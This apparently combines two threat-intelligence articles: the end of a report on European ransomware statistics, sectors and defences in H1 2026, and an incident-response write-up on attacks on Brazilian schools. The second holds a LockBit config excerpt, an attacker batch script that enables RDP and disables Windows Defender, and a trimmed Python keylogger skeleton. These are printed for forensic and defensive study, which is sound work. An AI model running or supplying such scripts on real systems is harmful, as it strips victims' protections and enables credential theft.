5. Dragonforce: The Supply-Chain Specialist

Attack Volume: 54 documented incidents (6.2% of regional total)

Dragonforce rounds out the top-five European threat actors with apparent specialization in Manufacturing and Technology sectors, suggesting possible supply-chain attack capabilities.

Geographic Concentration:

• North America: 135 attacks (Primary focus)
• Europe & UK: 54 attacks (Secondary focus)
• Secondary: Limited global operations

Worldwide Sectoral Targeting:

• Manufacturing: 31 incidents
• Construction: 48 incidents
• Professional Services: 28 incidents
• Food & Beverages: 9 incidents
• Healthcare: 9 incidents

Operational Pattern:

Dragonforce's heavy US focus with secondary European operations suggests the group may be leveraging North American-based supply chains to gain access to European targets. Manufacturing supply chains are deeply interconnected across transatlantic partners; compromising US manufacturers could provide lateral access into European operations.

European Security Implications: European manufacturing organizations should implement aggressive third-party risk management programs, particularly for US-based suppliers. Dragonforce's supply-chain sophistication suggests the group may bypass direct targeting in favor of compromising upstream vendors.

Also read: The Most Active Threat Actors of H1 2026

The Five Most Targeted European Nations

Germany: The Manufacturing Battleground

Attack Volume: 155 ransomware attacks (17.9% of regional total)

Germany's position as Europe's manufacturing powerhouse places it at the center of ransomware targeting campaigns. The nation's industrial sector—encompassing automotive, machinery, chemicals, and precision manufacturing—represents the most valuable ransomware target set in Europe.

Threat Actor Concentration:

• Qilin: 32 attacks (20.6% of German total)
• The Gentlemen: 32 attacks
• LockBit: 18 attacks
• Akira: 32 attacks
• Dragonforce: 9 attacks

Sectoral Breakdown:

• Manufacturing: 67 incidents (significant concentration)
• Construction: 38 incidents
• Professional Services: 28 incidents
• Technology: 15 incidents
• Healthcare: 12 incidents

Why Germany Faces Maximum Pressure

German organizations represent an optimal target combination: high asset value, supply-chain criticality, strong operational technology integration, and proven willingness to pay ransoms to maintain production schedules. Additionally, Germany's federal structure creates jurisdictional complexity that may slow law enforcement response.

The nation's Mittelstand (mid-market manufacturing firms) are particularly vulnerable—large enough to justify ransom payments, but sometimes lacking enterprise-grade security infrastructure.

Defensive Priority: German manufacturing organizations should assume Qilin, The Gentlemen, Akira, and Dragonforce all maintain active operations targeting their sector. Network segmentation between IT and operational technology (OT) environments should be elevated to critical priority.

United Kingdom: The Financial Services Crosshairs

Attack Volume: 138 ransomware attacks (15.9% of regional total)

The UK faces a different threat profile than Germany, driven primarily by London's position as a global financial services hub. While manufacturing is targeted, Banking, Financial Services, and Insurance (BFSI) organizations command disproportionate attention.

Threat Actor Concentration:

• Qilin: 26 attacks
• The Gentlemen: 26 attacks
• LockBit: 18 attacks
• Akira: 13 attacks
• Dragonforce: 11 attacks

Sectoral Breakdown:

• BFSI: 38 incidents (concentrated targeting)
• Technology: 32 incidents
• Retail: 26 incidents
• Professional Services: 24 incidents
• Government & LEA: 16 incidents

Why the UK Is Targeted

London's financial services ecosystem manages trillions in assets, making it extraordinarily valuable to data-exfiltrating threat actors. BFSI organizations hold customer financial data, internal financial records, and strategic information that commands premium prices on dark web marketplaces.

Additionally, regulatory requirements (FCA, PRA, etc.) create pressure for rapid ransom payment to avoid breach notification delays that could trigger regulatory sanctions.

Data Exfiltration Risk: The UK's status as a financial services hub makes it particularly vulnerable to data-centric attack strategies. Organizations should assume that successful breach attempts will include aggressive data exfiltration alongside encryption deployment.

Defensive Priority: UK BFSI organizations must implement robust data loss prevention (DLP), encryption for data in transit and at rest, and aggressive monitoring for unauthorized data access or exfiltration attempts.

France: The Balanced Threat

Attack Volume: 119 ransomware attacks (13.7% of regional total)

France experiences balanced threat distribution across multiple sectors, reflecting both its manufacturing capacity and significant professional services sector.

Threat Actor Concentration:

• Qilin: 28 attacks
• The Gentlemen: 28 attacks
• LockBit: 15 attacks
• Akira: 14 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Professional Services: 26 incidents
• Manufacturing: 24 incidents
• Construction: 19 incidents
• Technology: 14 incidents
• Healthcare: 10 incidents

Why France Faces Distributed Threat

As Europe's second-largest economy, France is attractive to ransomware operators across multiple sectors. The nation's professional services sector (legal, accounting, consulting) is particularly valuable for data exfiltration, while manufacturing remains a consistent target.

Defensive Priority: French organizations should implement sector-specific defensive strategies: professional services firms should prioritize client data protection and DLP, while manufacturing organizations should focus on OT segmentation and operational resilience.

Italy: The Construction and Manufacturing Hub

Attack Volume: 115 ransomware attacks (13.3% of regional total)

Italy faces concentrated targeting in construction and manufacturing sectors, with particular pressure on small-to-medium enterprises in industrial regions.

Threat Actor Concentration:

• Qilin: 19 attacks
• The Gentlemen: 18 attacks
• LockBit: 12 attacks
• Akira: 16 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Construction: 48 incidents (concentrated)
• Manufacturing: 38 incidents
• Professional Services: 18 incidents
• Retail: 14 incidents

Why Italy Faces Sector-Specific Pressure

Italy's construction industry is particularly vulnerable to ransom attacks due to tight project timelines and significant financial exposure. The nation's manufacturing sector, while sophisticated, sometimes operates with legacy infrastructure that creates exploitation opportunities.

Defensive Priority: Italian construction and manufacturing organizations should prioritize incident response readiness, backup infrastructure resilience, and supply-chain risk management.

Spain: The Emerging Risk

Attack Volume: 87 ransomware attacks (10.0% of regional total)

Spain experiences lower absolute attack volume than Germany, UK, France, or Italy, but faces concentrated pressure in manufacturing and professional services sectors.

Threat Actor Concentration:

• Qilin: 20 attacks
• The Gentlemen: 18 attacks
• LockBit: 8 attacks
• Akira: 12 attacks
• Dragonforce: 7 attacks

Sectoral Breakdown:

• Manufacturing: 28 incidents
• Professional Services: 19 incidents
• Construction: 16 incidents
• Technology: 10 incidents

Regional Observation: Spain's lower attack volume may reflect either lower overall ransomware targeting or more effective defensive implementations. Spanish security teams should not interpret lower numbers as reduced threat but rather as a baseline for future comparison.

Where European Organizations Face Maximum Risk: A Sectoral Analysis

Construction: The Ransomware Goldmine

Attack Volume: 107 documented incidents (58% of all sector targeting across regions – not just in Europe – analyzed)

Construction organizations face disproportionate ransomware targeting across the entire European region. This concentration reflects understood economic vulnerabilities that threat actors exploit with precision.

Why Construction Is Targeted

1. Time-Sensitive Financial Exposure: Construction projects operate under contractually-defined timelines. Each day of delay triggers cascading costs, financial penalties, and potential contract termination. Organizations facing potential loss of €50-100 million contracts will prioritize rapid recovery over law enforcement involvement.
2. Operational Technology Integration: Modern construction increasingly relies on Building Information Modeling (BIM), cloud-based project management, and real-time equipment tracking. This IT/OT convergence creates exploitation pathways unavailable in purely IT-based industries.
3. Supply-Chain Complexity: Construction projects depend on dozens of subcontractors and suppliers. Compromising a single upstream supplier can provide lateral access into prime contractors.
4. Financial Pressure: Construction firms often operate with tight cash flow, making ransom negotiation essential to preserve solvency.
5. Accessibility: Many construction firms, particularly smaller regional players, operate with basic security infrastructure, creating easy exploitation opportunities.

European Construction Risk Mapping:

• Germany (14 attacks): Heavy machinery and precision manufacturing integration
• Switzerland (10 attacks): Legacy infrastructure vulnerabilities
• Spain (13 attacks): Emerging targeting activity
• France (10 attacks): Balanced threat across major metropolitan areas
• UK (21 attacks): Infrastructure project concentration (rail, utilities, etc.)

Defensive Recommendations for Construction:

• Network Segmentation: Isolate operational technology (project equipment, heavy machinery) from corporate IT networks
• Access Control: Implement strict authentication for remote project management tools (Autodesk Forge, Procore, etc.)
• Immutable Backups: Maintain offline, immutable backups of critical BIM files and project documentation
• Incident Response Readiness: Develop construction-specific response playbooks addressing project continuity
• Supply-Chain Due Diligence: Implement security requirements for subcontractors and equipment suppliers

Professional Services: The Data Exfiltration Target

Attack Volume: 86 documented incidents

Professional services firms (law, accounting, consulting) face sophisticated targeting driven by data exfiltration opportunities rather than operational disruption pressure.

Why Professional Services Are Targeted

1. Client Confidentiality Risk: Legal privilege and client confidentiality create existential regulatory and reputational exposure. Threat actors leverage this to demand premium ransoms.
2. Sensitive Data Concentration: Professional services firms accumulate client financial records, litigation strategies, tax information, and corporate secrets—all commanding premium dark web prices.
3. Regulatory Exposure: GDPR breach notification requirements create pressure for rapid response and ransom payment to avoid regulatory sanctions.
4. Supply-Chain Position: Professional services firms advise major corporations; compromising advisors provides indirect access to clients.
5. Trust-Based Business Model: Client relationships depend on confidentiality. A single breach can destroy long-term client relationships and firm reputation.

European Professional Services Risk:

• France (16 attacks): Concentrated targeting of Paris-based firms
• Germany (16 attacks): Heavy focus on Frankfurt financial advisory firms
• UK (17 attacks): London-based legal and accounting partnerships
• Italy (6 attacks): Milan and Rome-based advisory firms
• Spain (7 attacks): Barcelona and Madrid professional services sector

Key Finding: Professional services firms experience disproportionate data breach incidents (exfiltration with confirmed leak activity) compared to other sectors. Of the 51 total data breach incidents across Europe and UK, professional services represents a concentrated target.

Defensive Recommendations:

• Client Data Segregation: Isolate client data on separate network segments with distinct access controls
• Data Loss Prevention (DLP): Deploy DLP solutions with aggressive egress controls monitoring client data exfiltration
• Encryption Standards: Implement client-facing encryption for all sensitive communications
• Access Auditing: Maintain comprehensive logs of all access to sensitive client data
• Ransomware-Specific Insurance: Consider cyber insurance with specific ransomware coverage addressing confidentiality exposure

Manufacturing: The Supply-Chain Critical Target

Attack Volume: 123 documented incidents

European manufacturing organizations face sophisticated, supply-chain-aware threat actors who understand production dependencies and downtime economics.

Why Manufacturing Is Targeted

1. Operational Technology Integration: Modern factories integrate IT and OT systems. Ransomware deployment can halt production lines, creating catastrophic financial exposure.
2. Supply-Chain Criticality: Manufacturing downtime cascades through dependent enterprises. A single organization's compromise can impact dozens of downstream customers.
3. Export Dependency: European manufacturers serve global markets. Production delays translate directly into lost revenue and market share.
4. Legacy Infrastructure: Many manufacturing facilities operate aging, unpatched systems integrated with newer IT infrastructure, creating exploitation bridges.
5. Financial Pressure: Manufacturing organizations face razor-thin margins; production downtime can drive solvency crises.

Geographic Manufacturing Risk Concentration:

• Germany (27 attacks): Automotive, machinery, precision manufacturing
• Italy (21 attacks): Fashion, machinery, chemical manufacturing
• France (15 attacks): Automotive, aerospace, industrial manufacturing
• Spain (10 attacks): Automotive, machinery, manufacturing
• UK (14attacks): Aerospace, automotive, precision manufacturing

Critical Vulnerability Pattern: Manufacturing organizations are disproportionately targeting known, exploitable vulnerabilities in critical infrastructure appliances (network appliances, security tools, identity systems). Rather than deploying zero-days, threat actors exploit patched vulnerabilities that organizations have not implemented.

Defensive Recommendations:

• OT/IT Segmentation: Implement airgapped network separation between operational technology and corporate IT
• Vulnerability Management Prioritization: Focus patching efforts on network appliances, security tools, and identity systems
• Industrial Control System (ICS) Monitoring: Deploy behavioral monitoring for unusual activity on manufacturing control systems
• Immutable Backup Strategy: Maintain completely offline backups of critical manufacturing configurations
• Supply-Chain Security Program: Implement tier-1 and tier-2 supplier security assessments and vulnerability scanning
• Incident Response Scenario Planning: Develop detailed playbooks for production-line ransomware scenarios

Healthcare: The Critical Infrastructure Threat

Attack Volume: 35 documented incidents

Healthcare organizations face a unique threat dynamic where ransomware directly endangers patient safety, creating existential operational pressure distinct from financial threats.

Why Healthcare Is Targeted

1. Patient Safety Risk: Ransomware disables critical medical systems (diagnostic equipment, pharmaceutical dispensing, patient records). Unlike other industries, downtime directly threatens life.
2. Regulatory Pressure: GDPR, HIPAA-equivalent regulations, and national privacy laws create breach notification requirements that incentivize ransom payment.
3. Data Value: Patient medical records, pharmaceutical research data, and clinical trial information command premium dark web prices.
4. Continuous Operation Requirement: Unlike manufacturing or services, healthcare cannot delay critical procedures. The operational pressure to pay ransoms is existential.
5. System Complexity: Healthcare IT environments integrate numerous legacy systems (PACS, EHR, medical devices) with varying security architectures.

European Healthcare Risk Distribution:

• Germany (14 attacks): Concentrated in Berlin, Munich, and Frankfurt urban medical centers
• Austria (2 attacks): private healthcare sector
• France (5 attacks): Concentrated in Paris and Lyon region hospitals
• Switzerland (3 attacks): medical centers
• Spain (3 attacks): Barcelona and Madrid hospital networks

Critical Finding: Healthcare organizations experience disproportionately high data breach incident rates, suggesting organized threat actors specifically target health information exfiltration.

Defensive Recommendations:

• Clinical System Isolation: Implement complete network separation between clinical systems and corporate IT
• Redundant Critical Systems: Deploy redundant diagnostic and pharmaceutical systems capable of manual operation
• Patient Data Encryption: Implement end-to-end encryption for all patient medical records
• Breach Response Planning: Develop healthcare-specific incident response plans addressing patient notification and continuity of care
• Medical Device Security: Implement inventory and monitoring for all connected medical devices
• Supply-Chain Assessment: Assess security of medical device manufacturers and pharmaceutical distributors

The Data Exfiltration Reality: Beyond Encryption

Confirmed Data Breaches: 51 Incidents Across Europe and UK

While ransomware attacks total 866, only 51 incidents resulted in confirmed data breaches and leaks (5.9% confirmation rate). This apparent low percentage masks a critical operational truth: organizations cannot distinguish between encryption-only attacks and data exfiltration scenarios until exfiltration attempts or threats emerge.

Data Breach Distribution by Sector:

Sector	Confirmed Breaches	Percentage
BFSI	9	17.6%
Telecom	9	17.6%
Retail	8	15.7%
Government & LEA	6	11.8%
Media & Entertainment	5	9.8%
Technology	4	7.8%
Healthcare	4	7.8%
Automotive	3	5.9%
Construction	2	3.9%
Education	1	2.0%
Others	6	11.8%

Critical Observation: BFSI and Telecom sectors experience disproportionate data breach incidents, suggesting these industries are specifically targeted for data exfiltration rather than operational disruption. The strategic implication is clear: threat actors targeting financial and telecommunications organizations prioritize data monetization over ransom payment.

Most Active Threat Actors in Data Exfiltration: The Leak Economy

Primary Exfiltration Actors:

Actor	Confirmed Leak Posts	Targeting Pattern
tanaka	6	Industry-agnostic, global operations
kazutlg	4	BFSI and Professional Services focus
aslan1	2	Government and Technology sectors
darkcybervault	2	Retail and Professional Services
breach3d	2	Technology focus
frog	2	Diverse sector targeting
ken6k	2	BFSI concentration
max9898	2	Retail and Technology
worldrdp	2	Technology sector
zyad2drkwb	2	Government targeting
zoozkooz	2	Diverse sector
mr_x1	1	Retail focus
ventuuas	1	Professional Services
Others	18	Distributed diverse targeting

Strategic Finding: While Qilin, The Gentlemen, and LockBit dominate ransomware attack volume, data exfiltration is fragmented across numerous smaller actors, including tanaka (6 posts), kazutlg (4 posts), and dozens of single-incident operators. This suggests a mature data brokerage ecosystem where extracted data is resold to specialized exfiltration actors.

Dark Web Data Marketplace Activity:

• 916 unique domains impacted by data leaks
• Approximately 86 distinct leak posts across dark web channels
• Data types: Financial records, customer PII, medical records, intellectual property, trade secrets

Implication: Organizations can no longer assume encrypted data is "lost forever" if backups are restored. Exfiltrated data will be monetized regardless of whether organizations pay ransoms. Data loss prevention becomes as critical as ransomware detection.

Geopolitical and Ideological Dimensions: The Activism-Cybercrime Convergence

Pro-Russian Hacktivism: Blurred Lines Between Ideology and Profit

H1 2026 witnessed increasing overlap between geopolitically motivated hacktivism and financially motivated cybercrime, particularly among pro-Russian collectives targeting NATO-aligned European nations.

Key Threat Actors to Monitor

NoName057(16) - The Pro-Russian DDoS Coalition

• Primary Activity: Large-scale DDoS attacks against NATO-aligned governments and Ukrainian supporters
• Secondary Activity: Data exfiltration for monetization
• Geographic Targets: Estonia, UK, Ukraine, Italy, Spain, France, Poland, Norway, Denmark, Lithuania, Latvia, Czech Republic, Germany, Moldova
• Operational Pattern: Coordinated DDoS campaigns often accompanied by data theft and subsequent leak activity

Operational Evolution: NoName057(16) began as a purely activist collective claiming ideological motivation (anti-NATO, pro-Russia). By H1 2026, the group had evolved to include data exfiltration and monetization—suggesting either organizational evolution or infiltration by financially motivated threat actors.

Strategic Implication: European organizations cannot compartmentalize threat modeling. A geopolitically motivated attack that begins as a DDoS campaign can transition into ransomware deployment when exfiltration opportunities present themselves.

Strategic Defense Recommendations for European Organizations

Prioritized Defensive Roadmap

Based on CRIL's H1 2026 regional data, European security leaders should prioritize defensive investments in the following sequence:

Phase 1: Critical Infrastructure Protection (30 days)

1. Inventory Network Appliances: Document all network appliances (firewalls, SD-WAN platforms, security gateways, VPNs)
2. Patch Critical CVEs: Prioritize patches for Cisco, Ivanti, Palo Alto, Fortinet, and Microsoft appliances
3. Access Control Hardening: Implement MFA for all remote administrative access to network infrastructure
4. Monitoring Deployment: Deploy behavioral monitoring on network appliances for anomalous activity

Phase 2: Data Protection (60 days)

1. Data Inventory: Identify and catalog sensitive data holdings (customer data, financial records, intellectual property)
2. DLP Implementation: Deploy data loss prevention solutions with egress monitoring
3. Encryption Standards: Implement encryption for data in transit (TLS 1.3+) and at rest (AES-256)
4. Access Logging: Enable comprehensive audit logging for all sensitive data access

Phase 3: Operational Resilience (90 days)

1. Immutable Backups: Establish offline, immutable backup infrastructure isolated from network access
2. Incident Response Planning: Develop organization-specific incident response playbooks addressing ransomware scenarios
3. Business Continuity: Identify critical business functions and develop continuity strategies
4. Disaster Recovery Testing: Conduct quarterly backup restoration testing to verify recovery capabilities

Phase 4: Threat Hunting and Detection (Ongoing)

1. Threat Intelligence Integration: Subscribe to European threat intelligence feeds focusing on Qilin, The Gentlemen, LockBit, Akira, and Dragonforce
2. Behavioral Detection: Deploy endpoint detection and response (EDR) solutions with behavioral analytics
3. Supply-Chain Monitoring: Implement continuous monitoring of vendor and supplier security posture
4. Insider Threat Program: Develop insider threat detection capabilities focusing on data exfiltration attempts

Regional Threat Actor Summary: Who Targets Your European Organization

Sector-Specific Threat Actor Mapping

If You're in Construction:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: Network segmentation gaps, supply-chain vulnerabilities, legacy OT systems
• Defensive Focus: OT/IT segmentation, immutable backups, supplier security assessment

If You're in Professional Services:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: LockBit, Akira
• Vulnerability: Client data exfiltration, regulatory exposure, ransomware payment pressure
• Defensive Focus: DLP, client data encryption, ransomware-specific insurance

If You're in Manufacturing:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: OT/IT integration, supply-chain exploitation, operational downtime pressure
• Defensive Focus: OT segmentation, vulnerability prioritization, continuity planning

If You're in BFSI:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration actors (tanaka, kazutlg)
• Vulnerability: Financial data value, regulatory breach notification pressure, customer trust exposure
• Defensive Focus: Data encryption, DLP with aggressive egress controls, cyber insurance

If You're in Healthcare:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration operators
• Vulnerability: Patient safety risk, critical operational pressure, medical device security
• Defensive Focus: Clinical system isolation, redundant critical systems, incident response for operational continuity

Conclusion: The European Ransomware Reality

Europe and the UK face a mature, organized ransomware ecosystem dominated by five sophisticated threat actors who have developed deep understanding of regional economic vulnerabilities. The threat is not random or opportunistic—it is strategic, targeted, and evolved.

Key Takeaways:

1. Five groups dominate: Qilin (158 attacks), The Gentlemen (144), LockBit (61), Akira (59), and Dragonforce (54) collectively account for 476 of 866 documented attacks (55%). European security leaders can build specific defensive strategies against known adversaries.
2. Geography matters: Germany, UK, France, Italy, and Spain face distinct threat profiles. Security strategies must be regionally and sector-specific, not generic.
3. Sectors are targeted deliberately: Construction, Professional Services, and Manufacturing are not randomly selected—they face extraordinary pressure due to economic vulnerabilities that threat actors systematically exploit.
4. Data exfiltration is the primary leverage: Of 866 attacks, only 51 resulted in confirmed breaches—but this understates the risk. Organizations must assume all breaches involve data exfiltration and cannot rely on backup restoration alone.
5. Patch management is the primary defense: Nearly 90% of exploited vulnerabilities had patches available. Disciplined patch management, particularly for network appliances, would prevent the vast majority of successful attacks.
6. Known vulnerabilities are the current threat: Despite awareness of zero-day sophistication, threat actors continue exploiting known vulnerabilities because patches lag adoption. This creates a predictable exploitation window that defensive teams can close.

For European security leaders, the path forward is to understand your regional threat actors, prioritize critical infrastructure protection, implement robust data protection measures, and establish resilient backup and recovery infrastructure. The threat is severe, but it is also understood and defensible. The question is not whether European organizations will face ransomware attacks in the remainder of 2026 and beyond—the data confirms they will. The question is whether they will be prepared.

The post Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors appeared first on Cyble.

Introduction

Because of the amount of data that can be obtained and the high impact that successful attacks may have, educational institutions are frequent targets of cybercriminals. Both public and private schools and universities rely on software for managing personally identifiable information (PII) that is often insecure or insufficiently tested against known vulnerabilities. In addition, machines used by multiple people without accountability can be vulnerable to insider threats.

The complexity of academic environments amplifies this risk. Unlike corporate networks, educational institutions have to provide a network that supports students, professors, researchers, administrative staff, third-party contractors, and visitors. Each of these groups has different security requirements and access control levels, making it difficult to enforce consistent security policies. A security breach can have severe consequences since it may expose vast amounts of sensitive information, such as social security numbers (CPF in Brazil), addresses, phone numbers, and even parents’ names. Armed with this information, attackers can attempt phishing attacks and impersonate the victims in SIM swapping attacks, a common practice in Brazil.

In this article, we provide details about attacks on educational institutions in Brazil observed by our Global Emergency Response Team (GERT) since 2025. We share general statistics, common threats, initial access vectors, and the impact of such violations. Additionally, we present some interesting cases encountered by our team and the identified TTPs. Finally, we offer recommendations to help institutions protect themselves against future attacks.

Key findings and statistics

Our dataset encompasses incident response cases from January 2025 to June 2026. As the chart below shows, the majority of attacks targeted institutions in São Paulo state, Brazil’s most populous state and a significant center of economic and financial activity. We also had cases in Rio de Janeiro and Pernambuco.

Geographical distribution of incident response requests at educational institutions (download)

Of the customers who requested incident response, 60% were private institutions and 40% were public institutions.

Private and public institutions (download)

The most frequent reasons for requesting IR services were related to suspicious endpoint activities, encrypted files, and the presence of suspicious files.

Incident response request reasons (download)

High-severity incidents accounted for 40% of the total cases, while the remaining 60% were medium severity.

Distribution of incidents by severity (download)

The high-severity incidents were mainly related to ransomware attacks. Interestingly, private institutions were the most targeted by ransomware, while incidents in public institutions were mostly related to suspicious endpoint activity and privilege escalation attempts. The most common ransomware families found in our dataset were DragonForce and LockBit 3, whose builder was leaked back in 2022. By using the leaked LockBit builder with a valid privileged account, attackers can build variants capable of disabling defenses and erasing logs.

The most common initial access vectors included the use of valid accounts, exploitation of public-facing applications, and insiders.

Initial access vectors (download)

For privilege escalation, the attackers often relied on Potato variants (GodPotato, SweetPotato, and BadPotato).

We also observed attackers using tools like AnyDesk for remote access, PsExec for lateral movement within compromised infrastructures, and AV-killer malware to terminate the system’s defenses. The latter was mainly used in ransomware-related incidents.

These data reveal an interesting pattern in the threat landscape affecting educational institutions in the region. Many incidents were not caused by highly sophisticated techniques but rather by the abuse of common weaknesses such as valid accounts, exposed applications, and inadequate patch management, as well as the use of publicly available tools that are well-known to the adversaries. The prevalence of ransomware in private institutions suggests a stronger financial motivation, likely because attackers assume these organizations are more capable of paying for data recovery than public schools and universities.

Most attacks were discovered promptly and lasted from a few minutes to a couple of hours. However, technical incident response activities averaged 9.6 hours. This indicates that the impact caused by an incident often extends beyond the timeframe of the active attack, requiring extensive triage and analysis by the forensic investigators to fully restore operations.

One interesting fact is that we are still observing the use of Windows 10 in the infrastructures of educational institutions, even after Microsoft’s official end-of-support date of October 2025. In addition, we found that some customer organizations were using Windows Server 2016 without security patches and fixes. Using outdated and unsupported operating systems increases the attack surface of an infrastructure because attackers can exploit publicly available vulnerabilities to access vulnerable systems and expand their presence in the network. In addition, legacy operating systems may be incompatible with modern evidence collection tools, necessitating extra time and alternative procedures for forensic acquisition.

Obsolete systems in organizations (download)

Interesting cases

Case 01 – Leaked LockBit builder

In one case, we identified the use of a custom version of LockBit that was generated using the leaked builder. The ransomware was delivered to the organization’s infrastructure via a valid account that had been leaked. It encrypted the organization’s internal systems, including file servers and databases that stored student profiles and other data. There was no evidence of data exfiltration from the affected machines.

During our analysis of the LockBit sample, we were able to extract its configuration. Interestingly, it was configured without the impersonation and spreading options. This meant the attacker had to perform manual lateral movement to deploy the malware across the network.

"config": {
    "settings": {
      "impersonation": false,
      "local_disks": true,
      "network_shares": true,
      "kill_processes": true,
      "kill_services": true,
      "set_wallpaper": true,
      "self_destruct": true,
      "kill_defender": true,
      "wipe_freespace": true,
      "psexec_netspread": false,
      "gpo_netspread": false,
…

Further analysis revealed that the attacker used PsExec for lateral movement. By analyzing the Update Sequence Number (USN) Journal, we were able to identify .KEY files associated with PsExec that showed us the previously compromised machines used by the attacker.

After gaining access to the target machines, the adversaries deployed a batch script to disable the system’s defenses. Our analysis of this artifact showed that they had the administrative credentials to disable the EDR in place. In addition, the script enabled RDP, which gave the attackers remote access to the target. The listing below shows an excerpt of the script:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnRealTimeProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "" /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{UUID}" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
sc stop WinDefend
sc config WinDefend start= disabled

Finally, by cross-checking the Prefetch files, we were able to identify the precise dates of PsExecSvc.exe and LBB.exe (LockBit) execution. This revealed that the attacker established the initial connection to the analyzed machine around 5:30am UTC and ran LBB.exe for the last time at 10am UTC on the same day, resulting in an activity window of approximately four hours and thirty minutes. We were able to identify the extent of the compromise and the additional machines that required network isolation for further forensic analysis, containment, and remediation.

Case 02 – DragonForce deployed via AnyDesk

In another incident, we identified a compromised user account that the adversaries used to install the AnyDesk software to enable remote access. Although the attacker erased the system logs after encrypting the victim’s files, we were able to identify the ransomware execution event via the Prefetch and Amcache.hve files, which provided us with the SHA-1 hash of the sample.

Once we obtained the SHA-1 of the malicious artifact (named by the attacker as 1.EXE), we were able to confirm that it was a DragonForce variant. Even though the lack of evidence made the analysis more difficult, this case shows that forensic investigators must be prepared to identify information that the attackers missed or left untouched.

Case 03 – Python keylogger used by an insider

The third incident illustrates how a series of bad practices enabled an insider to collect passwords from other users inside the infrastructure. First, the customer contacted us stating that a machine was exhibiting strange behavior: files containing passwords were being created. We started with triage collection on one of the affected machines.

Evidence from the Program Compatibility Assistant (PCA) showed the execution of two suspicious files, Windows Host Widgets.exe and Windows Host Widgets_.exe, both located in the C:\Users\<user>\.vscode\dlo directory, where <user> represents a user account shared by everyone who uses the machine. The same artifacts were identified within the Amcache.hve file, and multiple executions were also confirmed by analyzing the Prefetch files. Another interesting source of evidence, UserAssist, confirmed that the threat actor also executed both EXE files by double-clicking on them.

MFT analysis showed that multiple log files named cacheX.txt were created in the previously mentioned directory, where X was a number that increased with each malware execution. We then analyzed the EXE files to confirm their behavior. Luckily, both proved to be the same Python script, which we could easily decompile.

As shown in the listing below, the script contains methods and strings with Portuguese names. It is capable of hiding the log files from view in Explorer. The developer also set a procedure to identify when the Caps Lock key was pressed, in order to record the correct passwords.

def get_base_path():
    ...

def encontrar_proximo_nome(base='cache'):
    ...

def set_file_hidden(filepath):
    ...
    ctypes.windll.kernel32.SetFileAttributesW(str(filepath), FILE_ATTRIBUTE_HIDDEN)
    ...

with open(log_file, 'a', encoding='utf-8') as f:
    f.write(f'\n\n--- Registro iniciado em {datetime.datetime.now()} ---\n')
set_file_hidden(log_file)
...

def is_capslock_on():
    return bool(ctypes.windll.user32.GetKeyState(20) & 1)

...

def on_press(key):
    ...

def on_release(key):
    ...

def main():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

if __name__ == '__main__':
    main()

This simple script did not implement any persistence or automated data exfiltration mechanisms. Therefore, the insider likely had to manually retrieve the generated log files containing the text typed by the victims. By revisiting the previously collected evidence, we identified USB connections around the same time as the script’s executions. This suggests that removable media was probably used to collect the generated keylogging logs from the environment. As a result of the investigation, the customer changed the passwords of all affected accounts. However, without additional evidence or footage, it was not possible to conclusively attribute the activities to a specific individual and take the appropriate disciplinary and legal measures.

Conclusions and recommendations

The incidents highlighted in this article demonstrate that Brazilian educational institutions face a diverse set of threats, ranging from ransomware operations to insider activity. In many cases, the attackers relied on valid credentials, exposed services, remote access tools, poor patch management, and insufficient endpoint hardening rather than advanced malware or new techniques. Based on these findings, educational institutions should prioritize controls that reduce the likelihood of account compromise and the impact of ransomware deployment. They should also improve forensic visibility after an incident.

Institutions should enforce the use of multi-factor authentication (MFA) for all publicly accessible services, especially VPNs, remote access portals, and email accounts. Since valid accounts were one of the most common initial access vectors observed in our dataset, MFA can significantly reduce the likelihood that stolen or reused credentials alone will compromise the entire environment. We also recommend periodically reviewing privileged accounts, removing unnecessary administrative permissions, and avoiding shared accounts, especially on machines accessed by multiple users, since this makes accountability extremely difficult.

Each user should have their own account, following the principle of least privilege to prevent unauthorized software execution. Additionally, it is advisable to restrict and monitor the use of remote access tools such as AnyDesk or TeamViewer. Unexpected installations or executions of these tools should be treated as high-priority alerts.

To minimize the impact of ransomware, educational institutions should improve their backup and recovery strategy. Backups should be isolated from the primary environment (preferably in more than one location) and tested regularly. Centralized logging, extended EDR telemetry retention, and proper time synchronization across hosts can also improve the ability to reconstruct an attack timeline and implement the necessary response measures.

